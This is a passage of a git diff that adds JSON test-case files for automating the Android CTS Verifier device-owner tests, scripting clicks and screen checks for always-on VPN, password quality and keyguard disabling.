on\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":49.0,\"y1\":411.0,\"x2\":236.0,\"y2\":442.0}},{\"type\":\"InputAction\",\"name\":\"Back Button\",\"actionId\":\"c2d8bba8-f7a4-48e6-85a3-506e53ec1728\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"riacheltseng\",\"keyCode\":4,\"inputString\":null,\"isSingleChar\":true},{\"type\":\"ClickAction\",\"name\":\"Click Action, Set VPN\",\"actionId\":\"da44edef-c56f-44f8-aa4b-632c3dcb3645\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Set VPN\"},{\"type\":\"ScreenContentValidationAction\",\"name\":\"Verify that you are told that an always-on VPN is set\",\"actionId\":\"7f285292-827d-44d3-a817-fdc43ab13432\",\"actionType\":\"SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"Always-on VPN turned on\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"ce9dafe7-c036-4d81-8933-db39303e7950\",\"displayText\":\"Always-on VPN turned on\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"1e2015d4-c375-47a8-9621-2ecccd109f4a\",\"displayText\":\"Always-on VPN turned on\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"a4677e7f-2e3b-4f22-99e4-2086b96b8f3c\",\"displayText\":\"Always-on VPN turned on\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/title\",\"text\":\"Always-on VPN turned on\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":63.0,\"y1\":415.6666666666667,\"x2\":226.0,\"y2\":434.6666666666667},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":-10.0,\"y\":2.6666666666666856,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"firstText\":\"Always-on VPN turned on\"}],\"className\":\"android.widget.RelativeLayout\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":63.0,\"y1\":401.6666666666667,\"x2\":346.0,\"y2\":448.6666666666667},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"firstText\":\"Always-on VPN turned on\"}],\"className\":\"android.widget.LinearLayout\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":0.0,\"y1\":401.6666666666667,\"x2\":360.0,\"y2\":448.6666666666667},\"clickedPos\":{\"confidentLevel\":2,\"x\":154.5,\"y\":422.5,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":25.5,\"y\":2.6666666666666856,\"isPhysicalPos\":false,\"validPos\":true},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"leafNodeContext\":\"a4677e7f-2e3b-4f22-99e4-2086b96b8f3c\",\"firstText\":\"\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"Always-on VPN turned on\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":62.0,\"y1\":413.0,\"x2\":247.0,\"y2\":432.0}},{\"type\":\"InputAction\",\"name\":\"Back Button\",\"actionId\":\"0322890d-33c3-4d1e-9b18-ed40e461eb20\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"riacheltseng\",\"keyCode\":4,\"inputString\":null,\"isSingleChar\":true}],\"childrenIdList\":[\"03e19599-15d9-4cff-acc4-88b977853f25\",\"0bb98e47-fb28-44e6-b73c-33bb3ae8b459\",\"e99c0f45-90db-4b93-85e4-5ec1ccc17688\",\"91b86fe0-4aca-4858-9bc1-ed4be34940fa\",\"5427a518-29b8-4461-859a-fa6be96c51ba\",\"c2d8bba8-f7a4-48e6-85a3-506e53ec1728\",\"da44edef-c56f-44f8-aa4b-632c3dcb3645\",\"91b86fe0-4aca-4858-9bc1-ed4be34940fa\",\"7f285292-827d-44d3-a817-fdc43ab13432\",\"0322890d-33c3-4d1e-9b18-ed40e461eb20\",\"b17bcc33-34e0-4aba-a8ce-080ea0d0846c\",\"41618467-e1d1-4cb0-ba3c-c3230a3442bf\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"16-11-Always-on VPN","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.184000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/c0d95bab-a71d-4109-b402-01d3bad36422 b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/c0d95bab-a71d-4109-b402-01d3bad36422
new file mode 100644
index 0000000..b17f206
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/c0d95bab-a71d-4109-b402-01d3bad36422
@@ -0,0 +1 @@
+{"uuid":"c0d95bab-a71d-4109-b402-01d3bad36422","details":"{\"type\":\"CompoundAction\",\"name\":\"15-26-Set password quality\",\"actionId\":\"c0d95bab-a71d-4109-b402-01d3bad36422\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[{\"type\":\"ScrollScreenContentValidationAction\",\"name\":\"Scroll to Set password quality\",\"actionId\":\"7d8b0171-8393-4cb8-a310-5f096ecb1ded\",\"actionType\":\"SCROLL_SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"Set password quality\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"bd068d12-c854-4a60-a1f6-0ae68a0cf777\",\"displayText\":\"Set password quality\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/text1\",\"text\":\"Set password quality\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":0.0,\"y1\":511.75,\"x2\":360.0,\"y2\":553.75},\"clickedPos\":{\"confidentLevel\":2,\"x\":71.5,\"y\":534.5,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":108.5,\"y\":-1.75,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"leafNodeContext\":\"bd068d12-c854-4a60-a1f6-0ae68a0cf777\",\"firstText\":\"Set password quality\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"Set password quality\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":2.0,\"y1\":521.0,\"x2\":141.0,\"y2\":548.0},\"scrollOrientation\":2,\"scrollMaxNumber\":5},{\"type\":\"ClickAction\",\"name\":\"Click Action, Set password quality\",\"actionId\":\"9d6a23fe-7f95-4e2b-ba2b-325ba4b0a047\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Set password quality\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, Unspecified\",\"actionId\":\"5da30f75-f68d-44c5-9dd3-32305c408963\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Unspecified\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, item1-Something\",\"actionId\":\"a151822b-f0ba-490d-8820-1acafe3dbf3d\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Something\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, something\",\"actionId\":\"a2ef32d7-5fa7-4471-abc7-bbe28899cbba\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Something\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, item2-Numeric\",\"actionId\":\"80e4fc4e-6f4f-4052-93ea-751f51713570\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Numeric\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, Numeric\",\"actionId\":\"d1ffb3d0-b493-44f7-8b9d-5459a8a79fbc\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Numeric\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, item 3-Numeric (Complex)\",\"actionId\":\"19f5d843-7d66-4a1b-bbff-371c3c02079d\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Numeric (Complex)\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, Numeric (Complex)\",\"actionId\":\"405bd214-5891-4b66-93e3-b439eb020d6e\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Numeric (Complex)\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, item4-Alphabetic\",\"actionId\":\"3f344e29-b6ea-47e5-9575-399f0457f165\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Alphabetic\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, Alphabetic\",\"actionId\":\"a08627ca-2256-4ac4-9b80-b6c990885a23\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Alphabetic\"},{\"type\":\"ClickAction\",\"name\":\"Click Action,item5- Alphanumeric\",\"actionId\":\"d3c252ea-d103-4f55-aa6a-05d903151df5\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Alphanumeric\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, Alphanumeric\",\"actionId\":\"82635839-2f00-467c-a4ef-86c29bfd607f\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Alphanumeric\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, item6-Complex\",\"actionId\":\"f4e7c2ea-e028-4790-bcc6-5e77ac53bc9e\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Complex\"}],\"childrenIdList\":[\"44291145-6774-4ba3-9caf-731853cef58e\",\"7d8b0171-8393-4cb8-a310-5f096ecb1ded\",\"9d6a23fe-7f95-4e2b-ba2b-325ba4b0a047\",\"5da30f75-f68d-44c5-9dd3-32305c408963\",\"a151822b-f0ba-490d-8820-1acafe3dbf3d\",\"be00d800-5235-410e-a535-55a76d9200b9\",\"0ce4e1fa-96a5-4d0d-aa86-a410676c6bf7\",\"cccc0cd1-82fd-4292-8d4d-2028be141809\",\"da770381-d17c-48ca-8aba-def4338ef96b\",\"a2ef32d7-5fa7-4471-abc7-bbe28899cbba\",\"80e4fc4e-6f4f-4052-93ea-751f51713570\",\"be00d800-5235-410e-a535-55a76d9200b9\",\"0ce4e1fa-96a5-4d0d-aa86-a410676c6bf7\",\"3e3b1b72-32eb-4f57-a45f-d477fdcb1993\",\"da770381-d17c-48ca-8aba-def4338ef96b\",\"d1ffb3d0-b493-44f7-8b9d-5459a8a79fbc\",\"19f5d843-7d66-4a1b-bbff-371c3c02079d\",\"be00d800-5235-410e-a535-55a76d9200b9\",\"0ce4e1fa-96a5-4d0d-aa86-a410676c6bf7\",\"3e3b1b72-32eb-4f57-a45f-d477fdcb1993\",\"da770381-d17c-48ca-8aba-def4338ef96b\",\"405bd214-5891-4b66-93e3-b439eb020d6e\",\"3f344e29-b6ea-47e5-9575-399f0457f165\",\"be00d800-5235-410e-a535-55a76d9200b9\",\"0ce4e1fa-96a5-4d0d-aa86-a410676c6bf7\",\"5225d3a3-cf6f-48c8-ab8a-e04571eb69dc\",\"da770381-d17c-48ca-8aba-def4338ef96b\",\"a08627ca-2256-4ac4-9b80-b6c990885a23\",\"d3c252ea-d103-4f55-aa6a-05d903151df5\",\"be00d800-5235-410e-a535-55a76d9200b9\",\"0ce4e1fa-96a5-4d0d-aa86-a410676c6bf7\",\"5225d3a3-cf6f-48c8-ab8a-e04571eb69dc\",\"da770381-d17c-48ca-8aba-def4338ef96b\",\"82635839-2f00-467c-a4ef-86c29bfd607f\",\"f4e7c2ea-e028-4790-bcc6-5e77ac53bc9e\",\"be00d800-5235-410e-a535-55a76d9200b9\",\"0ce4e1fa-96a5-4d0d-aa86-a410676c6bf7\",\"5225d3a3-cf6f-48c8-ab8a-e04571eb69dc\",\"da770381-d17c-48ca-8aba-def4338ef96b\",\"41618467-e1d1-4cb0-ba3c-c3230a3442bf\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"15-26-Set password quality","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.158000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/c1068330-ea63-4e42-8806-773d1152094f b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/c1068330-ea63-4e42-8806-773d1152094f
new file mode 100644
index 0000000..d36359f
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/c1068330-ea63-4e42-8806-773d1152094f
@@ -0,0 +1 @@
+{"uuid":"c1068330-ea63-4e42-8806-773d1152094f","details":"{\"type\":\"CompoundAction\",\"name\":\"Verify if screen back to main screen of Device Owner Tests\",\"actionId\":\"c1068330-ea63-4e42-8806-773d1152094f\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[{\"type\":\"ScreenContentValidationAction\",\"name\":\"Verify if screen back to main of Device Owner Tests\",\"actionId\":\"76a6f1d4-5e1d-4268-854a-e887333c8ad9\",\"actionType\":\"SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"Set up device owner\"},\"stopWhenFalse\":false,\"stopType\":\"STOP_CURRENT_COMPOUND_IF_TRUE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"0a8a8c46-deca-4d1e-a86d-b8e8f4b10585\",\"displayText\":\"Set up device owner\",\"isUniqueResourceId\":true,\"children\":[],\"className\":\"android.widget.Button\",\"resourceId\":\"com.android.cts.verifier:id/set_device_owner_button\",\"text\":\"Set up device owner\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":8.75,\"y1\":267.75,\"x2\":351.25,\"y2\":309.75},\"clickedPos\":{\"confidentLevel\":2,\"x\":173.0,\"y\":286.5,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":7.0,\"y\":2.25,\"isPhysicalPos\":false,\"validPos\":true},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"leafNodeContext\":\"0a8a8c46-deca-4d1e-a86d-b8e8f4b10585\",\"firstText\":\"Set up device owner\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"Set up device owner\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":91.0,\"y1\":272.0,\"x2\":255.0,\"y2\":301.0}}],\"childrenIdList\":[\"76a6f1d4-5e1d-4268-854a-e887333c8ad9\",\"370c511c-5950-4b3a-b832-60f2a606a27a\",\"b36ee844-6807-46a4-9073-3d5c83f730fd\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"Verify if screen back to main screen of Device Owner Tests","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.083000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/c131f309-79ae-48c8-a354-4410a90e97e4 b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/c131f309-79ae-48c8-a354-4410a90e97e4
new file mode 100644
index 0000000..1c06a0d
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/c131f309-79ae-48c8-a354-4410a90e97e4
@@ -0,0 +1 @@
+{"uuid":"c131f309-79ae-48c8-a354-4410a90e97e4","details":"{\"type\":\"CompoundAction\",\"name\":\"11 &amp; 17-04 -Disable keyguard test\",\"actionId\":\"c131f309-79ae-48c8-a354-4410a90e97e4\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[{\"type\":\"ScrollScreenContentValidationAction\",\"name\":\"Scroll to Disable keyguard\",\"actionId\":\"5b69aea5-0e68-4f23-85d7-366035e21a6a\",\"actionType\":\"SCROLL_SCREEN_CONTENT_VALIDATION_ACTION\",\"deviceIndex\":1,\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"Disable keyguard\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"853a3828-63ba-419d-ab31-21a5f23ff227\",\"displayText\":\"Disable keyguard\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/text1\",\"text\":\"Disable keyguard\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":9.333333333333334,\"y1\":451.3333333333333,\"x2\":350.6666666666667,\"y2\":495.3333333333333},\"clickedPos\":{\"confidentLevel\":2,\"x\":70.0,\"y\":472.0,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":110.0,\"y\":1.3333333333333144,\"isPhysicalPos\":false,\"validPos\":true},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"leafNodeContext\":\"853a3828-63ba-419d-ab31-21a5f23ff227\",\"firstText\":\"Disable keyguard\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"Disable keyguard\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":8.0,\"y1\":458.0,\"x2\":132.0,\"y2\":486.0},\"scrollOrientation\":2,\"scrollMaxNumber\":5},{\"type\":\"ClickAction\",\"name\":\"Click Action, Disable keyguard\",\"actionId\":\"08d4e663-6674-4136-a7a6-e51448e674ae\",\"actionType\":\"CLICK_ACTION\",\"deviceIndex\":1,\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Disable keyguard\"},{\"type\":\"ConditionValidationAction\",\"name\":\"Click Disable keyguard button\",\"actionId\":\"76992197-a69d-4272-8d78-afe276e36d1c\",\"actionType\":\"CONDITION_VALIDATION_ACTION\",\"delayAfterActionMs\":3000,\"deviceIndex\":1,\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"query\":{\"condition\":\"and\",\"rules\":[{\"field\":\"class\",\"operator\":\"=\",\"value\":\"android.widget.Button\"},{\"field\":\"text\",\"operator\":\"=\",\"value\":\"Disable keyguard\"}]},\"clickAfterValidation\":true},{\"type\":\"InputAction\",\"name\":\"Power Button\",\"actionId\":\"42709ea0-4da8-45ec-8984-45c918dbcb98\",\"actionType\":\"INPUT_ACTION\",\"delayAfterActionMs\":2000,\"deviceIndex\":1,\"createdBy\":\"riacheltseng\",\"keyCode\":26,\"inputString\":null,\"isSingleChar\":true},{\"type\":\"InputAction\",\"name\":\"Power Button\",\"actionId\":\"1e58c03f-e985-4447-bd49-41937ea7cfab\",\"actionType\":\"INPUT_ACTION\",\"delayAfterActionMs\":2000,\"deviceIndex\":1,\"createdBy\":\"riacheltseng\",\"keyCode\":26,\"inputString\":null,\"isSingleChar\":true},{\"type\":\"ScreenContentValidationAction\",\"name\":\"Verify no keyguard was shown\",\"actionId\":\"29bb81fb-b7ea-4cf2-8484-e38e3c814185\",\"actionType\":\"SCREEN_CONTENT_VALIDATION_ACTION\",\"deviceIndex\":1,\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"com.android.systemui:id/lock_icon\"},\"stopWhenFalse\":false,\"stopType\":\"STOP_TEST_IF_TRUE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"cf374a62-689a-477a-9fb4-d05217d6b72b\",\"displayText\":\"Unlock\",\"isUniqueResourceId\":true,\"children\":[{\"uuid\":\"3baa02c4-7e44-40d0-9338-f719c8673fab\",\"displayText\":\"Unlock\",\"isUniqueResourceId\":true,\"children\":[],\"className\":\"android.widget.ImageView\",\"resourceId\":\"com.android.systemui:id/lock_icon\",\"contentDesc\":\"Unlock\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":160.66666666666666,\"y1\":40.333333333333336,\"x2\":199.33333333333334,\"y2\":79.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":4.5,\"y\":-5.833333333333329,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"Unlock\"}],\"className\":\"android.widget.LinearLayout\",\"resourceId\":\"com.android.systemui:id/lock_icon_container\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":160.66666666666666,\"y1\":22.0,\"x2\":199.33333333333334,\"y2\":115.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":175.5,\"y\":65.5,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":4.5,\"y\":3.0,\"isPhysicalPos\":false,\"validPos\":true},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"leafNodeContext\":\"3baa02c4-7e44-40d0-9338-f719c8673fab\",\"firstText\":\"\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"com.android.systemui:id/lock_icon\",\"selectedType\":\"RESOURCE_ID\",\"selectedBound\":{\"x1\":143.0,\"y1\":35.0,\"x2\":208.0,\"y2\":96.0}},{\"type\":\"ClickAction\",\"name\":\"Click Action, Reenable keyguard\",\"actionId\":\"89e8dff0-9afc-4530-9613-0e65d1d2f5ee\",\"actionType\":\"CLICK_ACTION\",\"deviceIndex\":1,\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT\",\"selector\":\"Reenable keyguard\"},{\"type\":\"InputAction\",\"name\":\"Power Button\",\"actionId\":\"523bfc29-6cf6-47ef-b518-d662ad759fb0\",\"actionType\":\"INPUT_ACTION\",\"delayAfterActionMs\":2000,\"deviceIndex\":1,\"createdBy\":\"riacheltseng\",\"keyCode\":26,\"inputString\":null,\"isSingleChar\":true},{\"type\":\"InputAction\",\"name\":\"Power Button\",\"actionId\":\"bfeb1664-756d-4d24-8974-67ae68b0705b\",\"actionType\":\"INPUT_ACTION\",\"delayAfterActionMs\":2000,\"deviceIndex\":1,\"createdBy\":\"riacheltseng\",\"keyCode\":26,\"inputString\":null,\"isSingleChar\":true},{\"type\":\"ScreenContentValidationAction\",\"name\":\"Verify keyguard was shown\",\"actionId\":\"7339507e-3170-40e6-bb52-2a8063cde9d1\",\"actionType\":\"SCREEN_CONTENT_VALIDATION_ACTION\",\"deviceIndex\":1,\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"com.android.systemui:id/lock_icon\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"cd8b20c2-f109-493e-916e-70e3a33ea489\",\"displayText\":\"Unlock\",\"isUniqueResourceId\":true,\"children\":[{\"uuid\":\"bb7f8089-6686-4a93-9ff8-f22e19e8f911\",\"displayText\":\"Unlock\",\"isUniqueResourceId\":true,\"children\":[],\"className\":\"android.widget.ImageView\",\"resourceId\":\"com.android.systemui:id/lock_icon\",\"contentDesc\":\"Unlock\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":160.66666666666666,\"y1\":40.333333333333336,\"x2\":199.33333333333334,\"y2\":79.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":3.5,\"y\":-0.3333333333333286,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"Unlock\"}],\"className\":\"android.widget.LinearLayout\",\"resourceId\":\"com.android.systemui:id/lock_icon_container\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":160.66666666666666,\"y1\":22.0,\"x2\":199.33333333333334,\"y2\":115.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":176.5,\"y\":60.0,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":3.5,\"y\":8.5,\"isPhysicalPos\":false,\"validPos\":true},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"leafNodeContext\":\"bb7f8089-6686-4a93-9ff8-f22e19e8f911\",\"firstText\":\"\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"com.android.systemui:id/lock_icon\",\"selectedType\":\"RESOURCE_ID\",\"